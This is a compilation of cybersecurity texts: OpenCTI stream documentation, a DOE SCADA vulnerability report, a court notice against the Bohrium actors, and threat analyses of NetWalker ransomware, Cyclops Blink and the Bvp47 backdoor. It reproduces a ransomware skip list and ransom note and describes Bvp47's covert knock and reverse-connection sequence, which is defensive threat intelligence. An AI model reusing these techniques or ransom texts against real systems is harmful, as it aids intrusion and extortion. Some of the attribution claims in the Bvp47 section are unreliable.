OpenCTI has an embedded TAXII™ API endpoint that provides valid STIX 2.1 bundles. You can create as many TAXII 2.1 collections as needed, each with specific filters to publish only a subset of the platform's overall knowledge (specific types of entities, labels, marking definitions, etc.). After creating a new collection, any system with a proper access token can consume the collection using different kinds of authentication (basic, bearer, etc.).
TAXII 2.1 collections have a classic pagination system that should be handled by the consumer. It's important to understand that element dependencies (nested IDs) inside the collection are not always contained/resolved in the bundle, which may lead to having thousands of entities just for one, so consistency needs to be handled at the client level. The lack of real-time updates and the dependencies issue are the main drivers that led us to create what we call "streams (live or raw)."
### Streams
OpenCTI provides two different kinds of streams aimed at various usages. These streams are available through the API directly, using the Server-sent events protocol (SSE). The streams contain only knowledge data (STIX 2.1). All internal configurations, users, groups, roles, etc., are not streamed. For all attached files, the streams provide metadata information as well as links to authenticated downloads.
#### The “Raw” Stream
This stream is a low-level stream directly written in our Redis database. Every time something is written in OpenCTI, the platform stores the event in this stream: create, update, delete, and merge. The “raw” stream is available on a specific URL. To access it, the logged-in user must have the capability “Connect and consume the platform stream.” The available content is also implicitly filtered with the allowed marking definitions (data segregation). Each type of event has a specific format, so consuming this stream requires an understanding of this ontology and developing dedicated methods to handle it.
- **Creation Event**: The creation event “data” field contains the full data in pure STIX 2.1 format.
- **Delete Event**: The delete event field “data” contains the ID of the deleted element and the associated data in pure STIX 2.1 format at the deletion time.
- **Update Event**: The update event contains the ID of the updated element along with a specific patch object element containing the replace/add/remove operations.
- **Merge Event**: The merge event contains the list of the merged elements along with the list of deleted elements due to the merge.
### Current Internal Usages of the Raw Stream
- **Create the History**: The history connector is a simple usage of the raw stream consumption that gets each event in the stream to build the history index.
- **Rebuild a Complete Platform**: A connector is available on demand to consume the raw stream of a platform and ingest data into a new one.
- **Rule Engine Real-Time Behavior**: The “rule engine” uses this stream internally to perform real-time creation/update/deletion of the inferred elements created in the context of the enabled reasoning rules.
### Live/Data Sharing Stream
This stream is a high-level stream (and the most used) where data comes from both the ElasticSearch database and the raw stream. Each time something is updated in OpenCTI, the stream publishes the complete STIX 2.1 data based on the specified filters in the stream configuration. An out-of-the-box live stream without any filter is available by default on a specific URL.
Beyond default raw and live streams, any user with the appropriate capabilities can create their own live streams with filtering and group access restrictions directly in the OpenCTI user interface.
### Why This is Different from the Raw Stream
- **Data Completeness**: This stream has only two types of events: create and delete, allowing it to push only events containing the full data in STIX 2.1 format.
- **Data Dependencies**: This stream takes care of data dependencies for the consumer. If you create a live stream filtered to only get “Malwares,” the stream will also publish all data attached to this malware by transitivity.
### Current Internal Usages of the Live Streams
- **Backup and Restore**: Using the connector “backup-files,” it’s possible to use live streams to back up all OpenCTI data in STIX 2.1 JSON files.
- **Platform Synchronization**: A built-in synchronization management feature is available in the user interface. To create a new synchronizer, an administrator should know the remote OpenCTI URL, token, and live stream ID to consume.
### The Back Pressure Problem
When developing the built-in synchronization management system within OpenCTI, we encountered several issues, particularly concerning the back pressure problem. Without a resilient queuing system between two different OpenCTI platforms, the observed ingestion speed on the consumer side was slower than the stream data production.
### Conclusion
As discussed, sharing data is a crucial topic for OpenCTI, and we expose various ways to do it. We hope this article helps you choose the right approach for your needs. If you need further assistance, please join our Slack channel or create an issue on the GitHub project. |
# Vulnerability Analysis of Energy Delivery Control Systems
## Executive Summary
Cybersecurity for energy delivery systems has emerged as one of the Nation’s most serious grid modernization and infrastructure protection issues. Cyber adversaries are becoming increasingly targeted, sophisticated, and better financed. The Stuxnet worm—designed to attack a specific control system similar to those found in some energy sector applications—underscores the seriousness of targeted cyber attacks on energy control systems. The energy sector must research, develop, and deploy new cybersecurity capabilities faster than the adversary can launch new attack tools and techniques.
Cybersecurity technologies developed to protect business IT computer systems and networks can disrupt energy delivery control systems. The computers and networks that control our Nation’s power grid are very different from those on our desks. Energy delivery control systems are uniquely designed and operated to control real-time physical processes that deliver continuous and reliable power to support national and economic security. These differences must be respected when securing these systems, or the cybersecurity protective measures themselves could create a power disruption that rivals that of an intentional cyber-attack.
The goal of the U.S. Department of Energy Office of Electricity Delivery and Energy Reliability (DOE/OE) National Supervisory Control and Data Acquisition (SCADA) Test Bed (NSTB) program is to enhance the reliability and resiliency of the Nation’s energy infrastructure by reducing the risk of energy disruptions due to cyber attacks. A key part of the program is SCADA system vulnerability analysis that identifies and provides mitigation approaches for vulnerabilities that could put these systems at risk. A cybersecurity vulnerability is a weakness in a computing system that can result in harm to the system or its operation, especially when this weakness is exploited by a hostile actor or is present in conjunction with particular events or circumstances.
In 2006, DOE collaborated with energy owners and operators to develop a strategy to secure energy control systems going forward, made available through the Roadmap to Secure Control Systems in the Energy Sector. In 2011, the Roadmap was updated to keep pace with advances in technology and the evolving threat landscape, and renamed the Roadmap to Achieve Energy Delivery Systems Cybersecurity. The Roadmap lays out a vision that by 2020, resilient energy delivery systems are designed, installed, operated, and maintained to survive a cyber incident while sustaining critical functions. One of the Roadmap strategic directions needed to achieve this vision is to assess and monitor risk, which is the subject of this report.
## About This Report
This Vulnerability Analysis of Energy Delivery Systems report describes common vulnerabilities found in assessments performed from 2003 to 2010 by Idaho National Laboratory (INL) on behalf of the DOE/OE NSTB program. INL performs cybersecurity assessments on energy sector supervisory control and data acquisition/energy management systems (SCADA/EMS, hereafter referred to as SCADA) under private sector and government programs. The vulnerabilities described in this report were routinely discovered in NSTB assessments using a variety of typical attack methods to manipulate or disrupt system operations.
The purpose of this report is to provide recommendations to the SCADA vendor and/or owner to identify and reduce the risk of these vulnerabilities in their systems. Vulnerabilities and mitigation recommendations are presented at a high level to provide awareness of the most common and significant SCADA security vulnerability areas without divulging product-specific information. The common vulnerabilities in this report were found on two or more unique SCADA configurations. Even though SCADA functions, designs, and configurations vary among vendors, versions, and installations, their high-level vulnerabilities and defensive recommendations are similar.
This report begins with a history, purpose, and scope of NSTB vulnerability analysis. Section two describes the standard terminology and proposes a metrics-based approach to evaluate the relative risk associated with common SCADA vulnerabilities and guide risk reduction efforts. Section three discusses several ways to categorize vulnerabilities found in NSTB assessments and presents the relative frequency of vulnerabilities observed in NSTB assessments using each of these categorizations. Section four presents NSTB detailed vulnerability assessment findings and recommended mitigations with references to further related security information. Finally, section five summarizes general security recommendations for SCADA developers and administrators to help mitigate the risk posed by common vulnerabilities found in NSTB SCADA cybersecurity assessments.
## Method of Investigation
The NSTB assessment process is highly flexible and is tailored to the mutual interests of the industry partner and the NSTB program. The granularity of report findings depends on the nature of the problem, the time allocated for that target, and how widespread the problem is. More information about the NSTB assessment methodology is provided in Appendix A, “NSTB Assessment Methodology.” The following summary describes the main aspects of the process used for conducting the NSTB vulnerability assessments involved in this report:
- SCADA product assessments targeted core components using typical attack vectors to identify and understand the vulnerabilities they may be most affected by, and how their design and operational requirements could affect host and network security. The assessments focused on vulnerabilities that were inherent in the product and were therefore representative of installed systems. Configuration and password findings were reported only if they were representative of production system settings. Network architecture and firewall rules were only assessed if they were provided as recommended configurations.
- Production SCADA assessments (i.e., onsite assessments) concentrated on the aspects of the SCADA that the system owner is able to control, such as secure configurations and layers of defense. The assessment team only performed penetration testing on disconnected backup or development systems.
- NSTB report findings are mapped to software weakness types defined by the Common Weakness Enumeration (CWE) to the extent possible. Findings are reported as CWEs so that SCADA vendors and owners can refer to the CWE for additional guidance in identifying, mitigating, and preventing weaknesses that cause vulnerabilities.
In this report, we introduce a standard metrics-based approach to evaluate the relative risk associated with common SCADA vulnerabilities. We used the Common Vulnerability Scoring System Version 2 (CVSS) and CWE methodologies to apply standard terminology and metrics-based scores to common SCADA vulnerabilities.
While it is not possible to quantify an absolute measurement of risk, it can be useful to apply a formal, structured process that characterizes relative risk associated with a particular vulnerability taking into account the environment within which that vulnerability exists. The CVSS metrics evaluate vulnerabilities so that higher risk vulnerabilities can be mitigated first, using mitigations that reduce CVSS scores, and the risk these scores reflect, the most. This report recommends mitigations that reduce the risk of cyber-attack and will consequently lower CVSS scores in SCADA installations where these mitigations are implemented.
In appendix C, we have scored each of the ten vulnerabilities identified by SANS, The Top Cyber Security Risks, according to the CVSS process. We used input values to the CVSS metrics that we found to be the most common values observed in NSTB assessments to create a generic score.
It is important to recognize that the generic CVSS scores found in Appendix C do not describe the risk to a particular SCADA configuration because each system installation is unique and the same vulnerability in different environments poses different risks. Technical mitigations, operating procedures, and cybersecurity policies in place in different operational environments will result in different, in some cases very different, CVSS scores.
## Key Findings: Common SCADA Vulnerabilities Identified in NSTB Assessments
The NSTB has seen a significant improvement in operating system (OS) and network security since 2003. Some improvement has been observed in reducing host exposure by reducing the number of available ports and services on SCADA hosts and in vulnerability remediation and secure development of new products. However, vulnerabilities caused by less secure coding practices can be found in new and old products alike, and the introduction of Web applications into SCADA systems has created more, as well as new, types of vulnerabilities. The 10 most significant cybersecurity risks identified during NSTB software and production SCADA assessments are listed in Table EX-1.
### Table EX-1. Ten Common Vulnerabilities Identified in NSTB Assessments
| Common Vulnerability | Reason for Concern |
|----------------------|-------------------|
| Unpatched published known vulnerabilities | Most likely attack vector |
| Web Human-Machine Interface (HMI) vulnerabilities | Supervisory control access |
| Use of vulnerable remote display protocols | Supervisory control access |
| Improper access control (authorization) | SCADA functionality access |
| Improper authentication | SCADA applications access |
| Buffer overflows in SCADA services | SCADA host access |
| SCADA data and command message manipulation and injection | Supervisory control access |
| SQL injection | Data historian access |
| Use of standard IT protocols with clear-text authentication | SCADA host access |
| Unprotected transport of application credentials | SCADA credentials gathering |
## Recommendations for Mitigating Vulnerabilities Identified in NSTB Assessments
NSTB assessments identify and analyze SCADA system vulnerabilities that could allow unauthorized access to SCADA hosts, applications, and data, or unauthorized manipulations that affect operations, that spoof or manipulate SCADA data and commands, or that impose a DoS that could impede communications and jeopardize SCADA functionality. Recommended mitigations, organized according to the location of the vulnerability within the energy delivery control system architecture, include:
- The SCADA cyber-attack surface is protected through secure code and removal of unneeded ports and services. The attack surface comprises all possible avenues of attacking a system. All open ports, installed services, and applications that can potentially be exploited create the attack surface. Recommendations:
- Design and implement secure code to protect against vulnerabilities, such as buffer overflow, SQL injection, cross-site scripting (XSS), and directory traversal.
- Replace potentially dangerous functions with safe counterparts.
- Validate input data.
- Minimize the number of open ports, installed services, and applications.
- Known vulnerabilities are mitigated through effective patch management and removal of unneeded applications and services. New vulnerabilities in computer applications and services are found every day. Some are published shortly after their discovery. Others are kept a close secret by those who discover them. These remain unpatched and can be exploited at will by their discoverers. Recommendations:
- Implement effective patch management.
- Remove all unneeded applications and services.
- Communication channel vulnerabilities are mitigated through protected transmission of authentication credentials, secure control of local and remote access, and SCADA data integrity checks. As SCADA systems become increasingly connected to company intranets and to the external Internet, they can also become more exposed to cyber attack. SCADA communication channels may use common IT communication protocols that provide common IT functionality in SCADA systems, as well as SCADA communication protocols to transmit SCADA data and command messages. They often connect different network security zones and may have access rights and functionality to manipulate the SCADA system. Recommendations:
- Rigorously protect authentication credentials during transmission.
- Implement secure communications practices in utilization of common IT protocols for local and remote access.
- Detect data corruption or manipulation by performing SCADA data integrity checks that are designed to prevent recalculation.
- Consider the benefits and challenges of implementing data encryption for SCADA systems.
- Communication endpoint vulnerabilities are mitigated through secure coding practices that enforce rigorous input data validation in SCADA and ICCP services, database applications, and web services. Network services at communication endpoints listen for messages to accept and can be exposed to attacks that exploit input and output validation vulnerabilities to gain unauthorized access to their host. Recommendations:
- Implement secure coding practices that enforce rigorous input data validation in SCADA and ICCP services, database applications, and web services.
- Authentication vulnerabilities are mitigated through authentication at both the server and the client, and effective management of authentication credentials. Authentication is the act of validating the identity of a person or a process requesting access and is used to enforce access controls. Recommendations:
- Implement authentication at both the server and the client.
- Manage authentication credentials, that is, change default passwords, use strong passwords, implement an effective password policy, and rigorously protect authentication credentials.
- Authorization vulnerabilities are mitigated through least-privileges access control, removal of unneeded functionality, and secure configuration of SCADA components. Authorization is the act of validating access rights through controls that restrict access to entities in a network, host, or software system and can be incorporated into SCADA components to help prevent and contain compromise. If an attacker gains full access to a host, all functions that the server can execute can be under the attacker’s control. In addition, host access gives the attacker access to the resources of the compromised server, including communications with other devices and servers. Recommendations:
- Implement least-privilege access control.
- Limit functionality only to that required, which enables the ability to implement least-privilege access control.
- Implement a secure design of SCADA components that compartmentalizes functionality.
- Network access vulnerabilities are mitigated through network segmentation, strong firewall rules that enforce secure connections across security zones, and intrusion detection. Attackers can search for vulnerabilities in firewalls, routers, and switches and use those to gain access to sensitive data and target networks, redirect traffic on a network to a malicious or compromised system masquerading as a trusted system, and to intercept and alter information during transmission. Recommendations:
- Segment networks.
- Implement strong firewall rules.
- Secure connections across security zones.
- Implement intrusion detection.
- Implement secure access to network devices.
## Next Steps
The security of SCADA systems used in critical energy infrastructure installations throughout the United States relies on a cooperative effort between SCADA product vendors and the owners of critical infrastructure assets. These recommendations can be used by SCADA vendors to deliver and support systems that are able to survive attack without compromising critical functionality, by SCADA integrators to configure their systems securely before they are put into production, and by SCADA owners to perform due diligence in procuring, configuring, securing, and protecting these energy delivery control systems. |
# Bohrium
**IN THE UNITED STATES DISTRICT COURT**
**FOR THE DISTRICT OF COLUMBIA**
**Plaintiff:** Microsoft Corporation (“Microsoft”), has sued Defendants
**Defendants:** JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS.
**Civil Action No:** 1:22-cv-607-AJT-WEF
John Does 1-2 associated with the domains listed in the documents set forth herein. Plaintiff alleges that Defendants have violated federal and state law by hosting a cybercriminal operation through these domains, causing unlawful intrusion into Plaintiff customers’ computers and computing devices and intellectual property violations to the injury of Plaintiff’s customers.
Plaintiff seeks a preliminary injunction directing the domain registrars and registries associated with these domains to take all steps necessary to disable access to and operation of these domains to ensure that changes or access to the domains cannot be made absent a court order and that all content and material associated with these domains are to be isolated and preserved pending resolution of the dispute. Plaintiff seeks a permanent injunction, other equitable relief, and damages.
**NOTICE TO DEFENDANTS:** READ THESE PAPERS CAREFULLY! You must “appear” in this case or the other side will win automatically. To “appear” you must file with the court a legal document called a “motion” or “answer.” The “motion” or “answer” must be given to the court clerk or administrator within 21 days of the date of first publication specified herein. It must be in proper form and have proof of service on Microsoft's attorney, Gabriel M. Ramsey at Crowell & Moring, LLP, 3 Embarcadero Center, 26th Floor, San Francisco, CA 94111. If you have questions, you should consult with your own attorney immediately.
## COURT ORDERS
**Order Granting TRO**
## MISCELLANEOUS
**Contact Us**
If you wish to contact us by e-mail, fax, phone, or letter please contact us at:
Gabriel Ramsey
Crowell & Moring LLP
3 Embarcadero Center, 26th Floor
San Francisco, CA 94111
Telephone: +1 (415) 365-7207
Facsimile: +1 (415) 986-2827
Email: [email protected] |
# Mailto (NetWalker) Ransomware Targets Enterprise Networks
With the high ransom prices and big payouts of enterprise-targeting ransomware, we now have another ransomware known as Mailto or Netwalker that is compromising enterprise networks and encrypting all of the Windows devices connected to it.
In August 2019, a new ransomware was spotted in ID Ransomware that was named Mailto based on the extension that was appended to encrypted files. It was not known until today when the Australian Toll Group disclosed that their network was attacked by the Mailto ransomware, that we discovered that this ransomware is targeting the enterprise.
It should be noted that the ransomware has been commonly called the Mailto Ransomware due to the appended extension, but analysis of one of its decryptors indicates that it is named Netwalker.
## The Mailto / Netwalker Ransomware
In a recent sample of the Mailto ransomware shared with BleepingComputer by MalwareHunterTeam, the executable attempts to impersonate the 'Sticky Password' software. When executed, the ransomware uses an embedded config that includes the ransom note template, ransom note file names, length of id/extension, whitelisted files, folders, and extensions, and various other configuration options.
According to Head of SentinelLabs Vitali Kremez who also analyzed the ransomware, the configuration is quite sophisticated and detailed compared to other ransomware infections. "The ransomware and its group have one of the more granular and more sophisticated configurations observed," Kremez told BleepingComputer.
While almost all current ransomware infections utilize a whitelist of folders, files, and extensions that will be skipped, Mailto utilizes a much longer list of whitelisted folders and files than we normally see.
For example, below is the list of folders that will be skipped from being encrypted:
- system volume information
- windows.old
- :\users\*\*temp
- msocache
- :\winnt
- $windows.~ws
- perflogs
- boot
- :\windows
- :\program file*
- vmware
- \\*\users\*\*temp
- \\*\winnt nt
- \\*\windows
- *\program file*\vmwaree
- *appdata*microsoft
- *appdata*packages
- *microsoft\provisioning
- *dvd maker
- *Internet Explorer
- *Mozilla
- *Old Firefox data
- *\program file*\windows media*
- *\program file*\windows portable*
- *windows defender
- *\program file*\windows nt
- *\program file*\windows photo*
- *\program file*\windows side*
- *\program file*\windowspowershell
- *\program file*\cuas*
- *\program file*\microsoft games
- *\program file*\common files\system em
- *\program file*\common files\*shared
- *\program file*\common files\reference ass*
- *\windows\cache*
- *temporary internet*
- *media player
- :\users\*\appdata\*\microsoft
- \\*\users\*\appdata\*\microsoft
When encrypting files, the Mailto ransomware will append an extension using the format .mailto[{mail1}].{id}. For example, a file named 1.doc will be encrypted and renamed to 1.doc.mailto[[email protected]].77d8b.
The ransomware will also create ransom notes named using the file name format of {ID}-Readme.txt. For example, in our test run the ransom note was named 77D8B-Readme.txt. This ransom note will contain information on what happened to the computer and two email addresses that can be used to get the payment amount and instructions.
This ransomware is still being analyzed and it is not known if there are any weaknesses in the encryption algorithm that can be used to decrypt files for free. If anything is discovered, we will be sure to let everyone know. For now, those who are infected can discuss this ransomware and receive support in our dedicated Mailto / Netwalker Ransomware Support & Help Topic.
## Is it named Mailto or Netwalker?
When new ransomware infections are found, the discoverer or researchers will typically look for some indication as to the name given to it by the ransomware developer. When a ransomware does not provide any clues as to its name, in many cases the ransomware will be named after the extension appended to encrypted files.
As the Mailto ransomware did not have any underlying hints as to its real name, at the time of discovery it was just called Mailto based on the extension. Soon after, Coveware discovered a decryptor for the ransomware that indicated that the developer's name for the infection is 'Netwalker'.
In situations like this, it is difficult to decide what name we should continue to call the ransomware. On one hand, we clearly know its name is Netwalker, but on the other hand, the victims know it as Mailto and most of the helpful information out there utilizes that name. To make it easier for victims, we decided to continue to refer to this ransomware as Mailto, but the names can be used interchangeably.
## IOCs
**Hashes:**
416556c9f085ae56e13f32d7c8c99f03efc6974b2897070f46ef5f9736443e8e
**Associated files:**
{ID}-Readme.txt
**Mailto email addresses:**
- [email protected]
- [email protected]
**Ransom note text:**
Hi!
Your files are encrypted.
All encrypted files for this computer has extension: .{id}
--
If for some reason you read this text before the encryption ended, this can be understood by the fact that the computer slows down, and your heart rate has increased due to the ability to turn it off, then we recommend that you move away from the computer and accept that you have been compromised, rebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you, it could be files on the network belonging to other users, sure you want to take that responsibility?
--
Our encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help. The only way to get your files back is to cooperate with us and get the decrypter program. Do not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover. We advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned. For us this is just business and to prove to you our seriousness, we will decrypt you some files for free, but we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.
Сontact us:
1.{mail1}
2.{mail2}
Don't forget to include your code in the email: {code}
Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. Lawrence's area of expertise includes Windows, malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies. |
# Threat Advisory: Cyclops Blink
**Update Mar. 17, 2022**
Today, Asus released a product security advisory listing their products affected by Cyclops Blink. While the investigation is currently ongoing, this advisory provides guidance on taking necessary precautions via a checklist for the affected product versions.
**Update Feb. 25, 2022**
In our ongoing research into activity surrounding Ukraine and in cooperation with Cisco Duo data scientists, Talos discovered compromised MikroTik routers inside of Ukraine being leveraged to conduct brute force attacks on devices protected by multi-factor authentication. This continues a pattern we have seen since our investigation into VPNFilter involving actors using MikroTik routers. While it may not be Cyclops Blink specifically -- we can't know without a forensic investigation -- it was yet another MikroTik router passing malicious traffic, a vendor widely abused by VPNFilter in the past.
Cisco Talos is aware of the recent reporting around a new modular malware family, Cyclops Blink, that targets small and home office (SOHO) devices, similar to previously observed threats like VPNFilter. This malware is designed to run on Linux systems and is compiled specifically for 32-bit PowerPC architecture. The modular nature of this malware allows it to be used in a variety of ways, including typical reconnaissance and espionage activity. It leverages modules to facilitate various operations such as establishment of C2, file upload/download, and information extraction capabilities.
## Details of modular Cyclops Blink malware
Cyclops Blink is a Linux ELF executable compiled for 32-bit PowerPC architecture that has targeted SOHO network devices since at least June 2019. The complete list of targeted devices is unknown at this time, but WatchGuard FireBox has specifically been listed as a target. The modular malware consists of core components and modules that are deployed as child processes using the Linux API fork. At this point, four modules have been identified that download and upload files, gather system information, and contain updating mechanisms for the malware itself. Additional modules can be downloaded and executed from the command and control (C2) server.
The core component has a variety of functionality. Initially, it confirms that it's running as a process named 'kworker[0:1]' which allows it to masquerade as a kernel process. If that is not the case, it will reload itself as that process name and kill the parent process. The core component then adjusts the iptables to allow additional access via a set of hard-coded ports that are used for C2 communication. The C2 communication is conducted through multiple layers of encryption including a TLS tunnel with individual commands encrypted using AES-256-CBC.
## Module details
The four known modules perform a variety of functions and tasks associated with initial access and reconnaissance. This could be the basis to deploy additional modules, but at this point, we cannot confirm any additional modules.
- The system reconnaissance module (ID 0x8) is designed to gather various pieces of information from the system at regular intervals, initially set to occur every 10 minutes.
- The file upload/download module (ID 0xf) is designed to upload and download files. These instructions are sent by the core component and can include downloads from URLs or uploads of files to C2 servers.
- The C2 server list module (ID 0x39) is used to store and/or update the list of IP addresses used for C2 activity. The list is loaded and passed to the core component and when updates are received from the core component it is passed into this module to be updated.
- The Update/Persistence module (ID 0x51) installs updates to Cyclops Blink or ensures its persistence on the system. The update process leverages the firmware update process on the device. The persistence is handled via a subprocess to this module and involves overwriting legitimate executables with modified versions allowing the firmware update process to be manipulated to update Cyclops Blink.
Complete details on the modules and core components can be found in NCSC's report.
## Coverage
Ways our customers can detect and block this threat are listed below.
- Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.
- Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
- Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign.
- Cisco Secure Malware Analytics (formerly Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
- Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Firepower Threat Defense (FTD), Firepower Device Manager (FDM), Threat Defense Virtual, Adaptive Security Appliance can detect malicious activity associated with this threat.
- Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.
- Meraki MX appliances can detect malicious activity associated with this threat.
- Umbrella, Secure Internet Gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
## Orbital Queries
Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OS queries to see if their endpoints are infected with this specific threat.
**Snort SIDs:** 59095-59098
The following ClamAV signatures are available for protection against this threat:
`Unix.Backdoor.CyclopsBlink`
Umbrella SIG customers will be protected from this threat if configured to leverage IPS or Malware Analytics capabilities.
## IOCs
- 50df5734dd0c6c5983c21278f119527f9fdf6ef1d7e808a29754ebc5253e9a86
- c082a9117294fa4880d75a2625cf80f63c8bb159b54a7151553969541ac35862
- 4e69bbb61329ace36fbe62f9fb6ca49c37e2e5a5293545c44d155641934e39d1
- ff17ccd8c96059461710711fcc8372cfea5f0f9eb566ceb6ab709ea871190dc6 |
# Bvp47: Top-tier Backdoor of US NSA Equation Group
## Executive Summary
In a certain month of 2013, during an in-depth forensic investigation of a host in a key domestic department, researchers from the Pangu Lab extracted a set of advanced backdoors on the Linux platform, which used advanced covert channel behavior based on TCP SYN packets, code obfuscation, system hiding, and self-destruction design. In case of failure to fully decrypt, it is further found that this backdoor needs the check code bound to the host to run normally. Then the researchers cracked the check code and successfully ran the backdoor. Judging from some behavioral functions, this is a top-tier APT backdoor, but further investigation requires the attacker's asymmetric encrypted private key to activate the remote control function. Based on the most common string "Bvp" in the sample and the numerical value 0x47 used in the encryption algorithm, the team named the corresponding malicious code "Bvp47" at the time.
In 2016 and 2017, “The Shadow Brokers” published two batches of hacking files claimed to be used by “The Equation Group.” In these hacking files, researchers from Pangu Lab found the private key that can be used to remotely trigger the backdoor Bvp47. Therefore, it can be concluded that Bvp47 is a hacker tool belonging to "The Equation Group."
Through further research, the researchers found that the multiple procedures and attack operation manuals disclosed by "The Shadow Brokers" are completely consistent with the only identifier used in the NSA network attack platform operation manual exposed by CIA analyst Snowden in the "Prism" incident in 2013.
In view of the US government's prosecution of Snowden on three charges of "spreading national defense information without permission and deliberately spreading confidential information," it can be determined that the documents published by "The Shadow Brokers" are indeed NSA, which can fully prove that "The Equation Group" belongs to NSA, that is, Bvp47 is the top-tier backdoor of NSA. Besides, the files of “The Shadow Brokers” revealed that the scope of victims exceeded 287 targets in 45 countries, including Russia, Japan, Spain, Germany, Italy, etc. The attack lasted for over 10 years. Moreover, one victim in Japan is used as a jump server for further attack.
Pangu Lab has a code named “Operation Telescreen” for several Bvp47 incidents. Telescreen is a device imagined by British writer George Orwell in his novel “1984.” It can be used to remotely monitor the person or organization deploying the telescreen, and the "thought police" can arbitrarily monitor the information and behavior of any telescreen.
The Equation Group is the world's leading cyber-attack group and is generally believed to be affiliated with the National Security Agency of the United States. Judging from the attack tools related to the organization, including Bvp47, the Equation group is indeed a first-class hacking group. The tool is well-designed, powerful, and widely adapted. Its network attack capability equipped by 0day vulnerabilities was unstoppable, and its data acquisition under covert control was with little effort. The Equation Group is in a dominant position in national-level cyberspace confrontation.
## Unseen Backdoor
In a certain month of 2015, an advanced threat detection system deployed by a customer prompted a special network intrusion alarm, and there were suspicious communication activities between important servers. During the incident response process, packets were captured at several nodes in the network and the server’s information was obtained by disk mirroring. After preliminary analysis, at least two servers in the system network have been hacked and implanted with backdoors, and there are signs of a relatively large amount of data leakage.
The investigation of the incident involved three servers, one of which was the source of external attacks, host A, and the other two internally affected servers, V1 (mail server) and V2 (a business server). There is abnormal communication between external host A and the V1 server. Specifically, A first sends a SYN packet with a 264-byte payload to port 80 of the V1 server (normal SYN packets generally do not carry a payload), and then the V1 server immediately initiates an external connection to the high-end port of the A machine and maintains a large amount of exchange data. Data communication is encrypted.
At almost the same time, the V1 server connects to the V2 server's SMB service and performs some sensitive operations, including logging in to the V2 server with an administrator account, trying to open terminal services, enumerating directories, and executing Powershell scripts through scheduled tasks. At the same time, the V2 server connected to the 8081 port of the V1 server to download suspicious files, including the Powershell script and the encrypted data of the second stage.
A simple HTTP server implemented in Python was started on port 8081 of the V1 server, and the V2 server obtained two files from the above: index.html and index.htm. Among them, index.html is a Base64-encoded Powershell script. After this script is executed on the server, it will continue to download a file named index.htm from the V1 server. The content is Base64-encoded data, but after decoding it is found to be an unreadable string. Analysis of the Powershell script executed to download index.htm proves that this is a piece of asymmetrically encrypted data.
Next, the V2 server connects to the high-end port of the V1 server to communicate with its own protocol, and a large amount of interactive transmission data is encrypted. Based on the above observations, it can be inferred that the V1/V2 servers have been implanted with backdoors. By integrating the overall interaction of the A machine and the V1/V2 server, we can restore the communication process between the machines as follows:
1. Machine A connects to port 80 of the V1 server to send a knock request and start the backdoor program on the V1 server.
2. The V1 server reversely connects the high-end port of machine A to establish a data pipeline.
3. The V2 server connects to the backdoor web service opened on the V1 server and obtains PowerShell execution from the V1 server.
4. The V1 server connects to the SMB service port of the V2 server to perform command operations.
5. The V2 server establishes a connection with the V1 server on the high-end port and uses its own encryption protocol for data exchange.
6. The V1 server synchronizes data interaction with the A machine, and the V1 server acts as a data transfer between the A machine and the V2 server.
This is a backdoor communication technology that has never been seen before, implying an organization with strong technical capabilities behind it.
## Backdoor Overview – Bvp47
After some effort, our forensic team successfully extracted the backdoor file on the compromised machine and found that the string "Bvp" is more common in the sample file and the value 0x47 is used in the encryption algorithm. We will temporarily name the sample file "Bvp47."
### File Structure
The basic file structure of Bvp47 includes two parts: loader and payload. The loader is mainly responsible for the decryption and memory loading of the payload. The payload is compressed and encrypted. The 18 slices are simply divided into three types T0, T1, T2, named Slice0x00-Slice0x11:
- T0{Slice0x00}
- T1{Slice0x01-Slice0x10}
- T2{Slice0x11}
After decompression analysis, the sizes of the 18 slices of Bvp47 are as follows:
| Slice | Main Feature | Bvp API Call | Export Function | Comments |
|-------|--------------|---------------|------------------|----------|
| 0x00 | Detect runtime environment | 190 | 0 | |
| 0x01 | | 490 | 192 | |
| 0x02 | | 5 | 8 | |
| 0x03 | | 14 | 9 | |
| 0x04 | | 3 | 2 | |
| 0x05 | | 16 | 3 | |
| 0x06 | | 152 | 10 | |
| 0x07 | | 264 | 10 | |
| 0x08 | | 17 | 3 | |
| 0x09 | | 3 | 8 | |
| 0x0A | | 14 | 0 | 1 init function |
| 0x0B | Non-PE module, Bvp offset database | 0 | 0 | module_main |
| 0x0C | | 0 | 0 | module_main |
| 0x0D | Dewdrops | 0 | 15 | module_main |
| 0x0E | SectionChar_Agent | 0 | 0 | module_main |
| 0x0F | | 94 | 17 | |
| 0x10 | Non-PE module, Bvp offset database | 0 | 0 | |
| 0x11 | PATh=. crond | | | |
### Usage Scenario
Our team reproduced the use of the Bvp47 backdoor in our own environment and roughly clarified its usage scenarios and basic communication mechanisms. As an important backdoor platform for long-term control of victims after a successful invasion, Bvp47 generally lives in the Linux operating system in the demilitarized zone that communicates with the Internet. It mainly assumes the core control bridge communication role in the overall attack.
The process of covert communication between Bvp47 and the control server is as follows:
1. Once the control end (192.168.91.131) sends a TCP protocol SYN packet with a certain length of a specific payload (length is 136 bytes) to the "victim IP" (192.168.91.128); 1357 port (the live port can be reused directly).
2. After receiving the special SYN packet, the "victim IP" (192.168.91.128) will immediately follow the instructions to connect to port 2468 of the "control end."
3. The "victim IP" (192.168.91.128) enters the controlled process.
